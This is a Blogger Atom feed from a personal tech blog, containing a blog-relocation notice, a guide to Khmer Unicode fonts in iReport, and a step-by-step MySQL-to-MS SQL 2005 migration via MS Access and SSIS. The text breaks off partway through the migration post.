<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;CUABQH88fip7ImA9WhRUFUs.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693</id><updated>2012-01-25T23:42:31.176-08:00</updated><category term="Problam And Solution" /><category term="Python" /><category term="Visual Studio" /><category term="POM" /><category term="Microsoft" /><category term="Performance" /><category term="barcamppp" /><category term="MS Access" /><category term="Hack" /><category term="Encoding" /><category term="VS 2005" /><category term="Khmer Dictionary" /><category term="Errors" /><category term="SQL Server" /><category term="CodeIgniter" /><category term="Security" /><category term="SQLPlus" /><category term="Oracle" /><category term="Programming" /><category term="MS DotNet" /><category term="Digester" /><category term="Mathamatics" /><category term="Hosting" /><category term="General" /><category term="Virus" /><category term="Write to file" /><category term="Plug-In" /><category term="PLSQL" /><category term="Presentation" /><category term="Flex" /><category term="MS Office 2007" /><category term="Antivirus" /><category term="Ruby on Rails" /><category term="RandomAccessFile" /><category term="MS Office" /><category term="News" /><category term="Jibx" /><category term="VS 2008" /><category term="Dictionary" /><category term="MySQL" /><category term="iReport" /><category term="Accounting" /><category term="Log Management" /><category term="PDF" /><category term="Maven 2" /><category term="WordPress" /><category term="C/C++" /><category term="Fonts" /><category term="Migration" /><category term="XML" /><category term="Design" /><category term="Tips" /><category term="MS SQL" /><category term="Java" /><category term="C#" /><category term="Crystal Report" /><category term="PHP" /><category term="Browser" /><category term="Bing" /><category term="Firefox" /><category term="Adobe CS3" /><category term="Ruby" /><category term="Database" /><category term="Django" /><category term="Maven" /><category term="Chuon Nat" /><category term="Eclipse" /><category term="XPS" /><category term="Jboss" /><category term="Search Engine" /><category term="Khmer Unicode" /><category term="J2EE" /><category term="How to kill Virus" /><title>Computer Experience</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://computer-experience.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>29</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/blogspot/SNBL" /><feedburner:info uri="blogspot/snbl" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CUYDSHg7cCp7ImA9WxFTF08.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-623484468825198439</id><published>2010-04-08T00:45:00.000-07:00</published><updated>2010-04-08T03:39:39.608-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-04-08T03:39:39.608-07:00</app:edited><title>TEMPORARY NO MORE MAITENANCE ON THIS BLOG</title><content type="html">Hi,&lt;br /&gt;As now I can't manage the post for many blogs so I stop write for this blog and export all these posts to my personal website: &lt;a href="http://osify.com"&gt;http://osify.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Unless I have no money to pay for the hosting and domain, otherwise I will not come back, please visit at &lt;a href="http://osify.com"&gt;http://osify.com&lt;/a&gt; as well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-623484468825198439?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/fCWKEQnscZPK9hN9YLovjQS4vF4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fCWKEQnscZPK9hN9YLovjQS4vF4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/fCWKEQnscZPK9hN9YLovjQS4vF4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fCWKEQnscZPK9hN9YLovjQS4vF4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/tCeRwzYUVcY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/623484468825198439/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2010/04/temporary-no-more-maitenance-on-this.html#comment-form" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/623484468825198439?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/623484468825198439?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/tCeRwzYUVcY/temporary-no-more-maitenance-on-this.html" title="TEMPORARY NO MORE MAITENANCE ON THIS BLOG" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>5</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2010/04/temporary-no-more-maitenance-on-this.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak4EQH8_eCp7ImA9WxBUFEw.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-5924433995334033749</id><published>2010-02-28T18:30:00.000-08:00</published><updated>2010-02-28T20:48:21.140-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-28T20:48:21.140-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Khmer Unicode" /><category scheme="http://www.blogger.com/atom/ns#" term="iReport" /><title>Khmer Unicode with Ireport 3.7.1 works fine with Kh fonts</title><content type="html">Just quick configuration with Ireport 3.7.1 without detail here:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Download ireport from &lt;a href="http://jasperforge.org//website/ireportwebsite/IR%20Website/ir_download.html?header=project&amp;amp;target=ireport"&gt;http://jasperforge.org&lt;/a&gt; 3.7.1&lt;/li&gt;&lt;li&gt;Install ireport 3.7.1&lt;/li&gt;&lt;li&gt;Open ireport design&lt;/li&gt;&lt;li&gt;Use blank design&lt;/li&gt;&lt;li&gt;Go to ireport tool configuration: &lt;span style="font-weight: bold;"&gt;Tool --&gt; Options --&gt; Fonts&lt;/span&gt; and click install fonts&lt;/li&gt;&lt;/ol&gt;I install two fonts: Khmer OS System and Kh System&lt;br /&gt;&lt;br /&gt;First tested with Khmer OS System font, found it's not display correctly, see screen shot:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4tD7K_wseI/AAAAAAAAAUE/etbgo1bsazk/s1600-h/ireport-khmerossystem-font.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 219px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4tD7K_wseI/AAAAAAAAAUE/etbgo1bsazk/s400/ireport-khmerossystem-font.JPG" alt="" id="BLOGGER_PHOTO_ID_5443519258450506210" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Now I use font: Kh System, it displays correctly:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4tEV-7u_EI/AAAAAAAAAUM/JN9zzf-aK_0/s1600-h/ireport-khsystem-font.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 256px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4tEV-7u_EI/AAAAAAAAAUM/JN9zzf-aK_0/s400/ireport-khsystem-font.JPG" alt="" id="BLOGGER_PHOTO_ID_5443519719068859458" border="0" /&gt;&lt;/a&gt;Printed the report into PDF format also work for me.&lt;br /&gt;&lt;br /&gt;To configure, I just change the font name to JasperReports Properties (find in Options menu):&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4tE7U5Zj9I/AAAAAAAAAUU/eefR645ByzY/s1600-h/ireport-font-properties.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 338px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4tE7U5Zj9I/AAAAAAAAAUU/eefR645ByzY/s400/ireport-font-properties.JPG" alt="" id="BLOGGER_PHOTO_ID_5443520360619806674" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;In my local PC, I have already installed the font (Kh System) so please consider to add also if above configuration not yet work for you.&lt;br /&gt;&lt;br /&gt;As I'm not using iReport, just wanna to test with Khmer Unicode only.&lt;br /&gt;&lt;br /&gt;Thanks for comment any idea to improve it.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.snapdrive.net/files/583222/training/ireportKhmerUnicode.zip"&gt;Tested Package download here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-5924433995334033749?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/yHy2wv-1w0V49W-JJp8UvsF5tP4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yHy2wv-1w0V49W-JJp8UvsF5tP4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/yHy2wv-1w0V49W-JJp8UvsF5tP4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yHy2wv-1w0V49W-JJp8UvsF5tP4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/ak2IAVTuiCQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/5924433995334033749/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2010/02/khmer-unicode-with-ireport-371-works.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5924433995334033749?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5924433995334033749?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/ak2IAVTuiCQ/khmer-unicode-with-ireport-371-works.html" title="Khmer Unicode with Ireport 3.7.1 works fine with Kh fonts" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4tD7K_wseI/AAAAAAAAAUE/etbgo1bsazk/s72-c/ireport-khmerossystem-font.JPG" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2010/02/khmer-unicode-with-ireport-371-works.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEMBQXkyeip7ImA9WxBVGE4.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-3497898768169177566</id><published>2010-02-21T21:54:00.000-08:00</published><updated>2010-02-22T01:54:10.792-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-22T01:54:10.792-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="MySQL" /><category scheme="http://www.blogger.com/atom/ns#" term="MS SQL" /><category scheme="http://www.blogger.com/atom/ns#" term="MS Access" /><category scheme="http://www.blogger.com/atom/ns#" term="Migration" /><title>Migrate from MySQL to MS SQL 2005 using MS Access 2003 as a bridge</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4JQGGDKFlI/AAAAAAAAAT8/g07P-CphB_o/s1600-h/migrate_mysql_mssql2k5_mssql-18.JPG"&gt;&lt;/a&gt;My friend asked me this topic "Migrate all tables of MySQL to MS SQL 2005 - what way".&lt;br /&gt;I searched on the net as usual, got many questions and answer around one table import mostly but for many tables seem got a tip from a comment:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;This might not be the best solution.  Nonetheless, it worked for me.   First you need to install and configurate the MyODBC connector as others  said previously.  Use Access to import from a external ODBC data  source.  (google it if you have trouble with this step).  Once the  import is done, use SSIS to import the data in the Access db into a SQL  Server 2k5 db.  Hope this Helps. (from &lt;a href="http://social.msdn.microsoft.com/Forums/en-US/sqlintegrationservices/thread/abb4d339-e0d0-42b8-a56f-bbe91cf4867d"&gt;social.msdb.microsoft.com&lt;/a&gt;)&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CONTENT:&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Technical Environment&lt;/li&gt;&lt;li&gt;Create ODBC Connection for MySQL&lt;/li&gt;&lt;li&gt;Import data from ODBC of MySQL to Access Db&lt;/li&gt;&lt;li&gt;Using SSIS (SQL Server Integration Service) to import data from Access Db to MS SQL&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;So here is my transforming steps:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;0. Technical Environment&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;I'm using Windows XP SP3 (not mandatory, just my environment.)&lt;/li&gt;&lt;li&gt;MySQL ODBC Connector 5.1.6&lt;/li&gt;&lt;li&gt;MS Access 2003 or 2007 (I'm using Access 2007 but db with Access 2003)&lt;/li&gt;&lt;li&gt;MS SQL Server 2005&lt;/li&gt;&lt;li&gt;MS SQL Server Tool 2005&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;I. Create ODBC Connection to MySQL database&lt;/span&gt; (using MySQL ODBC Connecter / System DNS)&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Download and install MySQL ODBC Connector &lt;a href="http://dev.mysql.com/downloads/connector/odbc/"&gt;here&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Create System DNS by go to Start --&gt; Settings --&gt; Control Panel --&gt; Administrator Tool --&gt; Click on Data Source (ODBC)&lt;/li&gt;&lt;/ul&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4IhCYAOoAI/AAAAAAAAARk/xwMN7v1YqJU/s1600-h/migrate_mysql_mssql2k5_1.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 130px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4IhCYAOoAI/AAAAAAAAARk/xwMN7v1YqJU/s320/migrate_mysql_mssql2k5_1.JPG" alt="" id="BLOGGER_PHOTO_ID_5440947624503844866" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4IhTZ65_nI/AAAAAAAAAR0/OP1N4O9sbTA/s1600-h/migrate_mysql_mssql2k5_dns_2.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 295px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4IhTZ65_nI/AAAAAAAAAR0/OP1N4O9sbTA/s400/migrate_mysql_mssql2k5_dns_2.JPG" alt="" id="BLOGGER_PHOTO_ID_5440947917076168306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4IhO_EIZmI/AAAAAAAAARs/hwtwxRCPcfs/s1600-h/migrate_mysql_mssql2k5_dns_3.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 379px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4IhO_EIZmI/AAAAAAAAARs/hwtwxRCPcfs/s400/migrate_mysql_mssql2k5_dns_3.JPG" alt="" id="BLOGGER_PHOTO_ID_5440947841147627106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;II. Using MS Access to import data from an external ODBC data source&lt;/span&gt;&lt;br /&gt;I'm using MS Access 2007 but I use Access 2003 as the version here as mostly would work for all as well.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 1&lt;/span&gt;: Create a blank Access Db (Using compatible MS Access 2003)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4Ih_vPpNGI/AAAAAAAAASk/M3UvuPuUnDM/s1600-h/migrate_mysql_mssql2k5_access_4.JPG"&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4Ih_vPpNGI/AAAAAAAAASk/M3UvuPuUnDM/s1600-h/migrate_mysql_mssql2k5_access_4.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4Ih_vPpNGI/AAAAAAAAASk/M3UvuPuUnDM/s400/migrate_mysql_mssql2k5_access_4.JPG" alt="" id="BLOGGER_PHOTO_ID_5440948678714537058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 2:&lt;/span&gt; Go to tab External Data, using import or link to an ODBC Database:&lt;br /&gt;&lt;a style="font-weight: bold;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_X4hIsD6J-rE/S4Ih7lzOZXI/AAAAAAAAASc/8UrMcalvVUQ/s1600-h/migrate_mysql_mssql2k5_access_5.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 329px;" src="http://1.bp.blogspot.com/_X4hIsD6J-rE/S4Ih7lzOZXI/AAAAAAAAASc/8UrMcalvVUQ/s400/migrate_mysql_mssql2k5_access_5.JPG" alt="" id="BLOGGER_PHOTO_ID_5440948607459943794" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;Step 3: &lt;/span&gt;Using Import the source data into a new table in the current database option&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4Ihvx-IR9I/AAAAAAAAASU/09PxvnH_HoE/s1600-h/migrate_mysql_mssql2k5_access_6.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 293px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4Ihvx-IR9I/AAAAAAAAASU/09PxvnH_HoE/s400/migrate_mysql_mssql2k5_access_6.JPG" alt="" id="BLOGGER_PHOTO_ID_5440948404568475602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 4:&lt;/span&gt; Go to tab: Machine Data Source, choose MySQL&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4Ihr2sD-LI/AAAAAAAAASM/a6onNM4vrqA/s1600-h/migrate_mysql_mssql2k5_access_7-mysql.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 346px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4Ihr2sD-LI/AAAAAAAAASM/a6onNM4vrqA/s400/migrate_mysql_mssql2k5_access_7-mysql.JPG" alt="" id="BLOGGER_PHOTO_ID_5440948337115396274" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;"Choose your MySQL database to import"&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 5:&lt;/span&gt; You will see a windows to list all table object, select all and click Ok&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4IhoP7pmNI/AAAAAAAAASE/-VBJWIHTA-s/s1600-h/migrate_mysql_mssql2k5_access_8-select-all.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 382px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4IhoP7pmNI/AAAAAAAAASE/-VBJWIHTA-s/s400/migrate_mysql_mssql2k5_access_8-select-all.JPG" alt="" id="BLOGGER_PHOTO_ID_5440948275172186322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 6:&lt;/span&gt; You've done, now. Close button is welcome.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4IhkxEGBdI/AAAAAAAAAR8/Ug1B0cPiKEs/s1600-h/migrate_mysql_mssql2k5_access_9-select-all.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 293px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4IhkxEGBdI/AAAAAAAAAR8/Ug1B0cPiKEs/s400/migrate_mysql_mssql2k5_access_9-select-all.JPG" alt="" id="BLOGGER_PHOTO_ID_5440948215346496978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;III. Using SSIS (SQL Server Integration Service)&lt;/span&gt;&lt;br /&gt;As said above, I'm using MS SQL 2005 Tool (SQL Server Management Studio)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4JN1VttfkI/AAAAAAAAAT0/7ON3Al9gvV0/s1600-h/migrate_mysql_mssql2k5_mssql-10.JPG"&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 1:&lt;/span&gt; start SQL Server Management Studio&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4JN1VttfkI/AAAAAAAAAT0/7ON3Al9gvV0/s1600-h/migrate_mysql_mssql2k5_mssql-10.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 108px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4JN1VttfkI/AAAAAAAAAT0/7ON3Al9gvV0/s400/migrate_mysql_mssql2k5_mssql-10.JPG" alt="" id="BLOGGER_PHOTO_ID_5440996878574255682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 2:&lt;/span&gt; Connect to the server with your authentication&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4JNv30mzeI/AAAAAAAAATs/1BZcVV8WRvs/s1600-h/migrate_mysql_mssql2k5_mssql-11.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 296px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4JNv30mzeI/AAAAAAAAATs/1BZcVV8WRvs/s400/migrate_mysql_mssql2k5_mssql-11.JPG" alt="" id="BLOGGER_PHOTO_ID_5440996784650767842" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 3:&lt;/span&gt; Create new database (in case, it's new) Ex: mySqlDbLink (not mandatory naming)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4JMWNV93VI/AAAAAAAAATk/xjTWBaL3Lww/s1600-h/migrate_mysql_mssql2k5_mssql-12.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 359px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4JMWNV93VI/AAAAAAAAATk/xjTWBaL3Lww/s400/migrate_mysql_mssql2k5_mssql-12.JPG" alt="" id="BLOGGER_PHOTO_ID_5440995244239609170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 4:&lt;/span&gt; Right click on the db you want to import all tables / data, choose Import task&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4JMOkk5AEI/AAAAAAAAATc/vHW6TjiCkUw/s1600-h/migrate_mysql_mssql2k5_mssql-13.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 370px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/S4JMOkk5AEI/AAAAAAAAATc/vHW6TjiCkUw/s400/migrate_mysql_mssql2k5_mssql-13.JPG" alt="" id="BLOGGER_PHOTO_ID_5440995113037267010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 5:&lt;/span&gt; Choose data source: Microsoft Access and link the file name with above access db (Ex: Z:\LinkToImport.mdb)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4JMJgPjS3I/AAAAAAAAATU/G1L1EPb1eFU/s1600-h/migrate_mysql_mssql2k5_mssql-14.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 378px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/S4JMJgPjS3I/AAAAAAAAATU/G1L1EPb1eFU/s400/migrate_mysql_mssql2k5_mssql-14.JPG" alt="" id="BLOGGER_PHOTO_ID_5440995025974676338" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 6:&lt;/span&gt; Follow all steps of importing wizard but here choose: Copy data from one or more tables or views&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4JMF1UrW0I/AAAAAAAAATM/5ShHhl85RZ4/s1600-h/migrate_mysql_mssql2k5_mssql-15.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 378px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/S4JMF1UrW0I/AAAAAAAAATM/5ShHhl85RZ4/s400/migrate_mysql_mssql2k5_mssql-15.JPG" alt="" id="BLOGGER_PHOTO_ID_5440994962913844034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 7:&lt;/span&gt; Follow other instruction (select all tables as example), proceed the import&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_X4hIsD6J-rE/S4JMAOhQaiI/AAAAAAAAATE/VTvMyVyPwaw/s1600-h/migrate_mysql_mssql2k5_mssql-15.JPG"&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_X4hIsD6J-rE/S4JL6lzCixI/AAAAAAAAAS8/SFO98YhhOe0/s1600-h/migrate_mysql_mssql2k5_mssql-16.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 378px;" src="http://1.bp.blogspot.com/_X4hIsD6J-rE/S4JL6lzCixI/AAAAAAAAAS8/SFO98YhhOe0/s400/migrate_mysql_mssql2k5_mssql-16.JPG" alt="" id="BLOGGER_PHOTO_ID_5440994769767664402" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Caution&lt;/span&gt;: During my process, I got error and all tables are not imported; I didn't try to find to know why, but  I just try my work for me solution in next comment.&lt;br /&gt;&lt;div style="text-align: 